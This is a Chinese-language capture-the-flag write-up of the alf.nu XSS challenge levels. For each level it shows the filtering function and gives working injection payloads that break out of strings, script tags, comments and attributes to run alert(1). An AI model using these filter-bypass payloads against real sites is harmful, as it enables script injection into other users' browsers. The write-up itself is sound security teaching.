【第二十三天 - XSS Lab(2)-1】

Q1. XSS Lab(2)-1

  • 建议也可以看 XSS Lab(1) 文章,alert() 与 prompt() 有异曲同工之妙
  • 题目:https://alf.nu/alert1
  1. Warmup : 没有任何过滤
    • 题目:

      function escape(s) {
        return '<script>console.log("'+s+'");</script>';
      }
      
    • ANS:直接闭合前方的 "( 即可

      • ");alert(1);</script>
      • ");alert(1)//
  2. Adobe:将 " 替换成 \"
    • 题目:

      function escape(s) {
        s = s.replace(/"/g, '\\"');
        return '<script>console.log("' + s + '");</script>';
      }
      
    • ANS: \" 会解读为字元 " 而不是 JavaScript 语法,就无法闭合前面的 " ,但 \\ 在字串中会被解读为 \ 字元,因此构建出 \\" ,会得到 \\ 字元,加上 " 闭合字串。

      • \");alert(1);</script>
      • \");alert(1);//
      • </script><script>alert(1)//
  3. JSON:JSON.stringify 会对将 " 与 \ 使用跳脱符号,但不会对 '/<>进行处理
    • 题目:

      function escape(s) {
        s = JSON.stringify(s);
        return '<script>console.log(' + s + ');</script>';
      }
      
    • ANS:直接用 将前面的 script 闭合,後面再额外开一个 script 跑 alert

      • </script><script>alert(1)//
  4. Markdown:< 被替换成 &lt;" 被替换成 &quot;http://N个任意字元(网址) 被替换成 <a href=网址>网址</a>,把[[图片名称|图片叙述]] 替换成 <img alt="图片叙述" src="图片名称">
    • 题目:

      function escape(s) {
        var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
        // URLs
        text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
        // [[img123|Description]]
        text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
        return text;
      }
      
      • 此题不能使用 firefox,可以使用 chrome 解题
    • ANS: [[a|http://onerror=alert(1)//]]

  5. DOM:
    • 题目:

      function escape(s) {
        // Slightly too lazy to make two input fields.
        // Pass in something like "TextNode#foo"
        var m = s.split(/#/);
      
        // Only slightly contrived at this point.
        var a = document.createElement('div');
        a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
        return a.innerHTML;
      }
      
    • ANS:利用 document.createComment 建立 HTML 注解,并在内容里输入 > 闭合注解

      • Comment#-><script>alert(1)</script>//
  6. Callback:
    • 题目:

      function escape(s) {
        // Pass inn "callback#userdata"
        var thing = s.split(/#/); 
      
        if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
        var obj = {'userdata': thing[1] };
        var json = JSON.stringify(obj).replace(/</g, '\\u003c');
        return "<script>" + thing[0] + "(" + json +")</script>";
      }
      
    • 使用 split(/#/) 作为分割 # 左边的字串为 thing[0],#右边的字串为 thing[1] (当然,若写很多#,可以有 thing[2]、thing[3]....,但是此题後面并无使用 thing[0] 与 thing[1] 以外的资料

    • thing[0] 的非 a-zA-Z'[] 以外的字元,都回传 Invalid callback

    • obj 变数为 {'userdata': thing[1] }

    • 判断 obj 先经过JSON.stringify,再判断是否有 < ,若有则全部转换成 \u003c,然後储存於 json 变数内

    • 最後回传 "<script>" + thing[0] + "(" + json +")</script>"

    • 我们可以根据上述规则,将一些规则整理一下,主要将 input 分为两部分 thing[0] # thing[1]

      • thing[0] 只能是 a-zA-Z'[] 的字
      • {'userdata': thing[1] } 若出现 "\ 使用跳脱符号,且会将 < 全部变成 \u003c
      • <script>" + thing[0] + "(" + thing[1]+")</script>

      https://ithelp.ithome.com.tw/upload/images/20211007/201405921W2gJhjeBn.png

    • ANS:

      • '#';alert(1)//
  7. Skandia:
    • 题目:

      function escape(s) {
        return '<script>console.log("' + s.toUpperCase() + '")</script>';
      }
      
    • ANS:

      • 利用网页 html 宽松、不严谨的特性,除了之前说的不一定需要闭合外,标签大小写不敏感的特性
        • e.g. <script> </SCRIPT> ⇒ 合法
      • "></script><img src=1 onerror=&#97;&#108;&#101;&#114;&#116;(1)>//

<<:  EP25 - EKS 日志蒐集使用 Loki 和 Grafana(一)

>>:  #23 3 分钟建立 Node.js 网页服务器

恳求解答

恳求解答 Microsoft 的 Configuration Manager 与Windows Se...

【25】ReLU 家族评比 个别使用ReLU LeakyReLU PReLU SELU 来训练

Colab连结 今天要来实验不同的 ReLU 家族的评比,挑战者有 基本 ReLU 尾巴翘起来的 L...

加上random与time模组,限制次数与时间的管理(1)

显示出现在的时间 使用datatime模组 from datetime import datetim...

Day 10 - 来谈谈在P5最常用的色彩学

p5 中的 color 物件: 先认识两个色彩学 可以了解 https://www.instagra...

Sass @mixin实现RWD DAY36

今天我们要来介绍 Sass Mixin 与 content的搭配 来解决RWD Scss: @mix...